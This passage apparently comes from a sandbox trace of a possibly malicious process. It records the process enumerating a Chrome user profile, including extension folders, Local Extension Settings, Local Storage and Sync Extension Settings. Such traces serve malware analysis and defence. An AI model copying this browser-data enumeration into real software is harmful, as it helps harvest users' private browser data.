Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835794e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8357bbf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8357bbf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0279.338] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0279.340] GetProcessHeap () returned 0x550000 [0279.340] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.340] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83580a10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83583120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83583120, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0279.358] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0279.358] GetProcessHeap () returned 0x550000 [0279.358] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.358] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8358f470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8359b7c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8359b7c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0279.359] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0279.359] GetProcessHeap () returned 0x550000 [0279.359] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.359] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835969a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835a05e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835a05e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0279.491] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0279.491] GetProcessHeap () returned 0x550000 [0279.491] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.491] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835990b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835a5400, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835a5400, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0279.492] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0279.492] GetProcessHeap () returned 0x550000 [0279.492] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.492] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835aa220, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835b1750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835b1750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0279.496] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0279.496] GetProcessHeap () returned 0x550000 [0279.496] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.496] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835b6570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835b8c80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835b8c80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0279.496] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0279.496] GetProcessHeap () returned 0x550000 [0279.496] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.496] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835c01b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835c01b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835c01b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0279.500] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0279.500] GetProcessHeap () returned 0x550000 [0279.500] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.500] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835c4fd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835c9df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835c9df0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0279.500] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0279.500] GetProcessHeap () returned 0x550000 [0279.501] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.501] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835cec10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835cec10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835cec10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0279.504] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0279.504] GetProcessHeap () returned 0x550000 [0279.505] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.505] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835daf60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835dd670, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835dd670, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0279.505] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0279.505] GetProcessHeap () returned 0x550000 [0279.505] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.505] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835dd670, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835dfd80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835dfd80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0279.508] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0279.509] GetProcessHeap () returned 0x550000 [0279.509] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.509] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835e4ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835e72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835e72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0279.509] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0279.509] GetProcessHeap () returned 0x550000 [0279.509] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.509] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835ec0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835f0ef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835f0ef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0279.515] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0279.515] GetProcessHeap () returned 0x550000 [0279.515] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.515] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835f5d10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835f8420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835f8420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0279.516] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0279.516] GetProcessHeap () returned 0x550000 [0279.516] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.516] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835fd240, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835ff950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835ff950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0279.520] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0279.520] GetProcessHeap () returned 0x550000 [0279.520] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.520] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8360bca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8360e3b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8360e3b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0279.520] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0279.520] GetProcessHeap () returned 0x550000 [0279.520] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.520] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x836158e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83617ff0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83617ff0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0279.524] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0279.525] GetProcessHeap () returned 0x550000 [0279.525] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.525] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8361ce10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8361f520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8361f520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0279.525] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0279.525] GetProcessHeap () returned 0x550000 [0279.525] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.525] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83624340, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8362b870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8362b870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0279.529] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0279.529] GetProcessHeap () returned 0x550000 [0279.529] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.529] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0279.529] GetProcessHeap () returned 0x550000 [0279.529] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0279.529] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\*", lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x836ddc00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x839fe880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839fe880, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0279.533] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0279.533] GetProcessHeap () returned 0x550000 [0279.533] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0279.534] FindClose (in: hFindFile=0x6399c8 | out: hFindFile=0x6399c8) returned 1 [0279.534] GetProcessHeap () returned 0x550000 [0279.534] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0279.534] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0279.534] GetProcessHeap () returned 0x550000 [0279.534] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0279.534] FindClose (in: hFindFile=0x639948 | out: hFindFile=0x639948) returned 1 [0279.534] GetProcessHeap () returned 0x550000 [0279.534] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26220a8 | out: hHeap=0x550000) returned 1 [0279.536] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x96ec4eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x96ec4eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x96ec4eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639948 [0279.540] FindClose (in: hFindFile=0x639948 | out: hFindFile=0x639948) returned 1 [0279.540] GetProcessHeap () returned 0x550000 [0279.540] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26220a8 | out: hHeap=0x550000) returned 1 [0279.540] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85096390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85096390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85096390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639948 [0279.541] FindClose (in: hFindFile=0x639948 | out: hFindFile=0x639948) returned 1 [0279.541] GetProcessHeap () returned 0x550000 [0279.541] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26220a8 | out: hHeap=0x550000) returned 1 [0279.541] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8642cdf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8642cdf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639948 [0279.541] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\*", lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86513570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86513570, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0279.550] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0279.550] GetProcessHeap () returned 0x550000 [0279.550] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0279.551] FindClose (in: hFindFile=0x639948 | out: hFindFile=0x639948) returned 1 [0279.551] GetProcessHeap () returned 0x550000 [0279.551] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26220a8 | out: hHeap=0x550000) returned 1 [0279.551] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83ede170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x90191d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x90191d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639948 [0279.555] FindClose (in: hFindFile=0x639948 | out: hFindFile=0x639948) returned 1 [0279.556] GetProcessHeap () returned 0x550000 [0279.556] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26220a8 | out: hHeap=0x550000) returned 1 [0279.569] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x2010, 